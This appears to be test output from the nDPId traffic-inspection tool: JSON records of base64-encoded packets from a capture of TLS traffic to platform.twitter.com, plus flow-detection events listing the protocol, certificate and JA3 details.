+00455{"flow_id":25,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2357,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":552611,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDGJhACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACs2RLCx1IBu5\/PX6T60aP5gBAB8YURAAABAQgKu47G+sLXPnE="} +02344{"flow_id":25,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2358,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":553134,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPQBk\/5sAAAAAAAAAAKzZEsIqAcsBIEmLB5kd7IUo3\/YpAbvHUvrRo\/mfz1+kgBgLMKQ8AAABAQgKwtc+cbuOxtO6MvXMzu03ZWsKybUfb6UYyBk1V33eePkvGWn+QtR722KNYYC1p1vtYLkTlouVpBLlp1ngmYn8E\/MwHrpEeYncZk\/Z87CwZACHdBSSLosaXqWoD+J+gOhfiwmzIn5MXHHvCTcr\/Mmb54+cThQtlU88vZKA+BKDnQHSsq3ZSy8OeNDJeHXevty1EBIfxsXHNegUyT1whCvdrSiEXm8IORaTguxnBiblzOXDmOEAhi\/SF40Udu+aLXtd+mipeRk8EVaNOKW0AG5iC2OioOTFZOTBUHRT3ePNcZk+\/QznP4ruiB33xhTT5iTefumZE6mloXgquFPY6NY91fbraM7z1IJBuMBats2hQmEV+\/x5dXAX2yz6tLjtru4Enlw\/cmFGmgCpC3T+13PEIJMqE++S\/OdQly6kI+qGQ95ueiFqPfzuxhec7TtUzSQ70z+SwqwWyNs\/0n2g2xA7huFOfDpTetCgezl2GpfGOAwrNbJjSb4Wj7H5AlhCSMQuAuR\/g1YHqRFdToYg\/ZjSgx+0ovVXjl9o4GJf72LMqveC\/ZvcTsnmDkk5HBvmHCwoHeSKm+g0BsdrO66dWqmVCGwuh3RkslWRgc99a8OASUKIcb5hC9IZSxzppbsCmTvlhSCiPaTU9uLsaaz02pUTIhjiosh2XQPppzi9vLPdpcaMWdVJ7Cvm0nvhjvf3h6q4A6ZN06NfyqWonTPXLsE7i\/ypKerYh23sfKPn1f38UOhkzo3qVSg9eUPVjbMl8kCMC33FqbFXg3pUs4UAFU6QU355GHEZ54KZycodyjDyEWl2ziP6xLWjUAT7p128tayHvKt33Hjus+XJTkCi\/fIEsJCjz+fVxFOuoIxLfWL6Dq3ol1bYPQzotCJNa+BRfcMGpru+cALtgRTHSmwGWMk4Sr8U35O8DIqryZ\/pXPMenafdsvPOODWRtJCLK4QhSMZW\/i9bAAhiza8pHaH5y3onOYU7253QbBktIPZNSD45o56LUHNG0\/KeOpHotlGA76f1EmULjY0Q3Zh+\/IVKxo6FfB0VBTua++gj49\/84SE22AF3SXiZmYhbyIMUnCPnFwF8a1cB6oV6dP9CpEJ5418pbUIpF6A9Ab+XnWiqv8P21gu7nH2FZKOcFf07v10reWrapaJMBoC6F83PQ+LartovWuNzQJ96z\/NrFPwFbXasrCGKN6eEM90iOzKDA93j2vmrzsAx2CPMpQjTqB4ZKbFbdMqukg4JAl4p0byQPPOUqf7AS7uIuTqdi3eiUKIarfOcJTMbW1xk2nTC3lRPGqcCM1ORZ+2E0wC\/h7Msh7WYTn0NUJ9BBnpf0g\/dlgykw6eP7VQxp0QqnWorKDXy3JtrIGm0TCJjoFROKrnncc+RCRymeRF8rKg\/TtqtO68Ml39KT4bEFXZM8BqnOmz1it5u8jk9G5eSVD8zcUVk5xdpUIGLgTf7PvHh5ZCdJ1s7KpwWd1p7E2nM3cfKkFCIXHXM3N\/HGYHyFZtSRDoZUDpbPFrFLVtP7pGEqqgc4GxqKqAryJ4+rPd2KSLbGnxuIx633jX\/CMr53OnPh+\/1sjrydaRxTiIUzSRc3AAYrc7muUXJqIj2KejGQMnCOY\/cw97Y1fr6\/99GaTbuK03ETAwd6UPKUy\/9SPlomafsHOoSwdURAslQAh8XMWA7GSDTGZVGlp0OrhFkmTqrSeP9cpOcRi9ou6q7B0srEi5rEgDJM1LdpY9JuRTYgvR+BzGFPrzPRPBzlLgDH73G4YV3nu6FXoeiwT7lOAzOmUolCcWIajuC5sdarhS4WZgNRU9okrRn9TxKJ+nIRfeHJy7SUXtS5mk41NLV+t9gdyb1839q7ePPwy3Wlg=="} +00598{"flow_id":25,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2359,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":553134,"pkt_caplen":188,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":188,"pkt_l4_len":134,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAIYGPQBk\/5sAAAAAAAAAAKzZEsIqAcsBIEmLB5kd7IUo3\/YpAbvHUvrRqWWfz1+kgBgLMHClAAABAQgKwtc+cbuOxtNkZemhbgwASoxlCtW1abhK3B\/tL3dWopbbjUQhTzBLCR4uVXy80v8Wf5q6EgkF+XnIGPIVZVc0cBICLuUJqZmJLhXpFJEmb3RvVqvx9df+iFHA3ksavgxAW3\/7kL6+vaMI+iBfh\/I="} +00456{"flow_id":25,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2360,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":553139,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDGJhACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACs2RLCx1IBu5\/PX6T60allgBAB9X+gAAABAQgKu47G+8LXPnE="} +00456{"flow_id":25,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2361,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":553148,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDGJhACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACs2RLCx1IBu5\/PX6T60anLgBAB9X86AAABAQgKu47G+8LXPnE="} +00545{"flow_id":25,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2363,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":555024,"pkt_caplen":150,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":150,"pkt_l4_len":96,"pkt":"qtsDr8lk5EKm5WPyht1gDGJhAGAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACs2RLCx1IBu5\/PX6T60anLgBgB9ZN0AAABAQgKu47G\/MLXPnEUAwMAAQEXAwMANT9oW3\/XQK5SJC6KQgbXi2eFePZr0gCln14p\/cwjApxVuoE5M9TY1+i4LedI0BYrkXSb01WC"} +00587{"flow_id":25,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2364,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":555139,"pkt_caplen":178,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":178,"pkt_l4_len":124,"pkt":"qtsDr8lk5EKm5WPyht1gDGJhAHwGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACs2RLCx1IBu5\/PX+T60anLgBgB9ZntAAABAQgKu47G\/cLXPnEXAwMAV29dzDk2yENRPtgCfgb4aS\/RWDEENEGG1oZ8c3Ud8ug8eRoQG3wPCo1PfQYszVRp9jrCq\/BhCcf2YqFEHFSegJyJAVSrjTHSw6YRrq9tZ\/CPutF9DaUCiQ=="} +00828{"flow_id":25,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2365,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":555214,"pkt_caplen":360,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":360,"pkt_l4_len":306,"pkt":"qtsDr8lk5EKm5WPyht1gDGJhATIGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACs2RLCx1IBu5\/PYED60anLgBgB9R7pAAABAQgKu47G\/cLXPnEXAwMBDSpry5NwUc4R2NKmw\/wnh5V9PbkhZgbfUw3D3CWYt4sQwXNPHpIwaggGymNA1jx7zLnu571keejl+YDQ8E7vHFDz41UN1mnNBdthzqy3FtWgUwPKbL1xd45xzE6smlRSEJ9J+HVF0YA\/Rz5NWr5T5KqXNwMStrIO1P1uN1K68NWhezS\/VI7IIVYtcZV2O8X53+Iu8HUNOopWLPxbLMqNcGTfrhRynzdpmOioThQOBsXahdzbZSPU7vhneu13R9D9pqiANs\/uVpVV3RqE50G9CfvqcFPwm9TvAaoXRQmLEdoNT4imHOd4337f4xA6huTgW1xxLHZqk79F7QwVGxIexEXOvYKcAQ8eKQ7Q4BK2"} +00458{"flow_id":25,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2366,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":592582,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAKzZEsIqAcsBIEmLB5kd7IUo3\/YpAbvHUvrRqcufz1\/kgBALOHWOAAABAQgKwtc+mbuOxvw="} +00456{"flow_id":26,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2367,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":592583,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleJ0qAcsBIEmLB5kd7IUo3\/YpAbu8cGxxKx4ItjmZgBALMGodAAABAQgKwtc+mSRA7rE="} +01864{"flow_id":26,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2382,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":606576,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleJ0qAcsBIEmLB5kd7IUo3\/YpAbu8cGxxKx4ItjmZgBgLMJPgAAABAQgKwtc+nCRA7rEWAwMAUgIAAE4DAy0SYJ0cNtmq4zTUYaNT\/mQ5U8ekMLR66w7D2W4X9iRfAMAvAAAm\/wEAAQAAAAAAAAsABAMAAQIAIwAAAAUAAAAQAAUAAwJoMgAXAAAWAwMLRgsAC0IACz8ABoQwggaAMIIFaKADAgECAhAMZGtpwlVfef9DY7RNNRTyMA0GCSqGSIb3DQEBCwUAMHAxCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xLzAtBgNVBAMTJkRpZ2lDZXJ0IFNIQTIgSGlnaCBBc3N1cmFuY2UgU2VydmVyIENBMB4XDTIwMDgxMzAwMDAwMFoXDTIxMDgxODEyMDAwMFowgYwxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1TYW4gRnJhbmNpc2NvMRYwFAYDVQQKEw1Ud2l0dGVyLCBJbmMuMRkwFwYDVQQLExBUd2l0dGVyIFNlY3VyaXR5MR0wGwYDVQQDExRwbGF0Zm9ybS50d2l0dGVyLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANzlMFAoEQs6qK+3mkgsN2i1yT8Dq08psB4TudfWH01DK64ZD1yDm10Js8kX0+es6UZbtZM6zR42t8rG9D2OC4LNGHiJuSY6Bg8Ha2PGDv13OK4WpmgUaKYyBdo8P0clpd4qdumgiXHvVJad90KHt4YqLHN0q5sVe7WqBAj2gTP++ONwLvUuOvXmaHIshWHG\/bSf3zaeUTlc5KEkHfIhNY2kbUsk7bVN9mCnSK3PRQ7FH3XTe9hVtgprw7lomfKGYkEutBBW3KqdS3y9qlMO8sCbCowdExYQfL0NGJ\/MY6Fb1yotRPLo60ojkafjPmcIl7wzIcEG82JhpPOHNaiZiwkCAwEAAaOCAvcwggLzMB8GA1UdIwQYMBaAFFFo\/5CvAgd1PMzZZWRiohK4WXI7MB0GA1UdDgQWBBTa7mu\/WkkF5w1CwtEDLHZcZpl1+zAfBgNVHREEGDAWghRwbGF0Zm9ybS50d2l0dGVyLmNvbTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMHUGA1UdHwRuMGwwNKAyoDCGLmh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9zaGEyLWhhLXNlcnZlci1nNi5jcmwwNKAyoDCGLmh0dHA6Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9zaGEyLWhhLXNlcnZlci1nNi5jcmwwTAYDVR0gBEUwQzA3BglghkgBhv1sAQEwKjAoBggrBgEFBQcCARYcaHR0cHM6"} +00889{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2382,"source":"reddit.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":6,"flow_first_seen":1605291687514,"flow_last_seen":1605291687606,"flow_tot_l4_data_len":1773,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":295,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:789d","src_port":48240,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Twitter","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"platform.twitter.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00454{"flow_id":26,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2386,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":606628,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gD4BTACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXidvHABuwi2OZlscS82gBAB9W8AAAABAQgKJEDu7sLXPpw="} +01866{"flow_id":26,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2388,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":606671,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleJ0qAcsBIEmLB5kd7IUo3\/YpAbu8cGxxLzYItjmZgBgLMFrcAAABAQgKwtc+nCRA7rEvL3d3dy5kaWdpY2VydC5jb20vQ1BTMAgGBmeBDAECAjCBgwYIKwYBBQUHAQEEdzB1MCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wTQYIKwYBBQUHMAKGQWh0dHA6Ly9jYWNlcnRzLmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydFNIQTJIaWdoQXNzdXJhbmNlU2VydmVyQ0EuY3J0MAwGA1UdEwEB\/wQCMAAwggEGBgorBgEEAdZ5AgQCBIH3BIH0APIAdwD2XJQv0XcwIhRUGAgwlFaO400TGTO\/3wwvIAvMTvFk4wAAAXPouBXfAAAEAwBIMEYCIQCfFsQHvkAYhHikadTJNQlbuNU0neDCtWhiOG4qZOKzDgIhAI3eEHKPjP0rRpYkM2053nvGOAeHHBY4pGw8Q7TbonEdAHcAXNxDkv7mq0VEsV6a1FbmEDf71fpH3KFzlLJe5vbHDsoAAAFz6LgV7QAABAMASDBGAiEAxrds3GBqlfIjGU8lhvoNKK8+n7jB6xQi1qcFABu5DSYCIQDLRMe6Ln03r3zt0gMFMoPLGfs6P90ckEOMy7Qj2pGC0zANBgkqhkiG9w0BAQsFAAOCAQEAWaP9VDBxpgWutoTx3VrRJGgQN3lw1gjknie3l4DdGpftoort4DwlzFqdSR2R5oLDR427y2Doi0unucMlpjZcx1WLcuyWm4XOblpvK9XV3XLamjhbss1IRMhVqw8pBLgOTFCykUTbbcq7vCFDWl0j9wHMU4IsYFY67nFa4JYrY6jUecIoa\/IQ+g8r\/3Kfiw2kYkwBxnG2Wbeskx\/Xb6ZZavSXC9lG\/2QBgAyFEpHK4VYAiyInv9vzPPlAW1tX5eeMciOxYg7ctfeDBbB6tsvKeNPFd6z67APd4fu20a7rF\/owTJZCig1dQdEQzHW+X5JOXuF74vcjM\/v1vMDqs++9OwAEtTCCBLEwggOZoAMCAQICEATh56TcXPLzbcArQrhdFZ8wDQYJKoZIhvcNAQELBQAwbDELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQd3d3LmRpZ2ljZXJ0LmNvbTErMCkGA1UEAxMiRGlnaUNlcnQgSGlnaCBBc3N1cmFuY2UgRVYgUm9vdCBDQTAeFw0xMzEwMjIxMjAwMDBaFw0yODEwMjIxMjAwMDBaMHAxCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xLzAtBgNVBAMTJkRpZ2lDZXJ0IFNIQTIgSGlnaCBBc3N1cmFuY2UgU2VydmVyIENBMIIBIjANBgkqhkiG9w0BAQEFAAOC"} +01875{"flow_id":26,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2390,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":606672,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleJ0qAcsBIEmLB5kd7IUo3\/YpAbu8cGxxM04ItjmZgBgLMLePAAABAQgKwtc+nCRA7rEBDwAwggEKAoIBAQC24C\/CJAbIbQRf1+8KZAayfSImZRauQkCbztyfn3YHPsMwVYcZuU+UDlqUH1VWtMICKq\/QmO4LQNfE0DtyyBSe75CxEamu0si4QzrZCwvV1ZX1QK\/IHe1NnF9Xt4ZQaJn1itrSxwUfqJfJ3KSxgoQtxq2lnMcZgqaFD15EWCo3j\/018QsIJzJa9buLnqS9UdAn4t07QjOjBSjEuyjMmqwrIw14xnvmXnG3Sj4I+4G3FhahnSMSTeXXkgisdaScus0Xsh5ENWV\/UyU50RwKmmMbGZJ0aAo3wsJSSMs5WqK24V3B3aAguCGikyZvFEohQcftbZvySC\/zA\/WiaJJTL17jAgMBAAGjggFJMIIBRTASBgNVHRMBAf8ECDAGAQH\/AgEAMA4GA1UdDwEB\/wQEAwIBhjAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wSwYDVR0fBEQwQjBAoD6gPIY6aHR0cDovL2NybDQuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0SGlnaEFzc3VyYW5jZUVWUm9vdENBLmNybDA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAdBgNVHQ4EFgQUUWj\/kK8CB3U8zNllZGKiErhZcjswHwYDVR0jBBgwFoAUsT7DaQP4v0cB1JgmGggC72NkK8MwDQYJKoZIhvcNAQELBQADggEBABiKlYkD5m3fXPwdaOpKj4PWUS+Na0QWnqxj9dJubISZi6qBcYRb7TROsLd5kinMLYBq8I4g4Xmk\/gNHE+r1hspZcX30BJZr01lYPf7TMSVcGDiEo+afgv2MW5gxTs14nhr9hctJqvIni5ly\/D6q1UEL2tU2ob8cbkdJf17ZSHwD2f2LSaCYJkJA69aSEaRkCldUxPUd1gJea6zuxICaEnL6VpPX\/78whQYwvwt\/Tv9XBZ0k7YXDK\/umdaisLRbvfXknsuvCnQsH6qqF0wGjIChBWUMo0oHjqvbsezt3tkBigAVBRQHvFwY+3sAzm2fTYS5yh+Rp\/BIAV0AecPUeybQWAwMB3xYAAdsBAAHXMIIB0woBAKCCAcwwggHIBgkrBgEFBQcwAQEEggG5MIIBtTCBnqIWBBRRaP+QrwIHdTzM2WVkYqISuFlyOxgPMjAyMDExMTIwMDU2NTdaMHMwcTBJMAkGBSsOAwIaBQAEFM8m9Rj6yX6PjLNC4BwvahCejl8KBBRRaP+QrwIHdTzM2WVkYqISuFlyOwIQDGRracJVX3n\/Q2O0"} +01214{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2390,"source":"reddit.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":9,"flow_first_seen":1605291687514,"flow_last_seen":1605291687606,"flow_tot_l4_data_len":3965,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":440,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:789d","src_port":48240,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Twitter","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"platform.twitter.com","server_names":"platform.twitter.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert SHA2 High Assurance Server CA","issuerDN":"C=US, ST=California, L=San Francisco, O=Twitter, Inc., OU=Twitter Security, CN=platform.twitter.com","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"2B:30:10:3B:07:2F:F2:EB:3D:08:E3:BB:45:61:F7:A3:9F:4C:A7:92"}} +01310{"flow_id":26,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2391,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":606672,"pkt_caplen":718,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":718,"pkt_l4_len":664,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAApgGPQBk\/5sAAAAAAAAAAJdleJ0qAcsBIEmLB5kd7IUo3\/YpAbu8cGxxN2YItjmZgBgLMK4EAAABAQgKwtc+nCRA7rFNNRTygAAYDzIwMjAxMTEyMDA1NjU3WqARGA8yMDIwMTExOTAwMTE1N1owDQYJKoZIhvcNAQELBQADggEBAEptM2naSy1zjwn57k1Q5MY7t7frIxTBGG8nQeTr902WIwmcuxu1Vzx2fVxFYksTxNu7nSZadgLEjol6AS4obuG8CMkBg6fhE7P6qOyLkpOWx7jMg4vKcwqwu6x3q8q+bBUq5Sl9I8V0LCj6cik7oJKYbXYNz6uX0TI24B8H0a6BnT+oTafd2h7xAWFt9vYRAGb3wKYGdNbcoHF63AwEzlGk5JpgMrv7HWe3SoecwNacu+aCpeCMWOQgp0RkMIa8KB29+8lBOZN5neCquT49xdhVDdWDow7MENMrtkSNCF5Kd8KiYLjQEWN4dr0EZBvSLfulapQmwWlcEzjUJg8xYM4WAwMBLAwAASgDAB0gVG36299h7SaR9Og5ch1X\/NzW1OrtO\/gJay1NoPkqRS4IBAEATAIdgZ7Rg0ceq5qvaaZm1orKlRq7UQ4EksNV6pb8g3YqIRxB7iz1rqhhicLrJZ+8iB8qIHSxQyD4C1V+NkzedoS4p8eKfrcxwCKNpHQmVu9+GOt9Rsl6v5sTSiIBkp7dZzJKMyagOOdr9gMNjPXSrKrXZll5OfjoNc2RsaA\/TvH4zbtiH7qxK8p0W\/OKcAPzwTWE0j5LxNgg6I0PIS+j5s1bZTluoZsgQgvUMHkgAyZM9USf81P1KDOyPItHxpQOWynQchiwSHYfvIF\/q4Y6GQzbXkCdHFgCx3Nx78+izL4Ydr\/kiI3rdFtQAj6Jj389MhJET+GiN8AuIWry4ftzshYDAwAEDgAAAA=="} +00455{"flow_id":26,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2392,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":606677,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gD4BTACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXidvHABuwi2OZlscTNOgBAB82rqAAABAQgKJEDu7sLXPpw="} +00455{"flow_id":26,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2394,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":606687,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gD4BTACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXidvHABuwi2OZlscTdmgBAB7WbYAAABAQgKJEDu7sLXPpw="} +00455{"flow_id":26,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2395,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":606689,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gD4BTACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXidvHABuwi2OZlscTnegBAB6WRkAAABAQgKJEDu7sLXPpw="} +00582{"flow_id":26,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2403,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":609975,"pkt_caplen":179,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":179,"pkt_l4_len":125,"pkt":"qtsDr8lk5EKm5WPyht1gD4BTAH0GQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXidvHABuwi2OZlscTnegBgB9QTdAAABAQgKJEDu8cLXPpwWAwMAJRAAACEgwJfCy8hYegf8vK1gEd771FfULAnWR2VKZ360NviDzVQUAwMAAQEWAwMAKAAAAAAAAAAAEwtwOfUQVmc1mHUWH7ov8ZceZBEvh4p0wiGKwlhnIvo="} 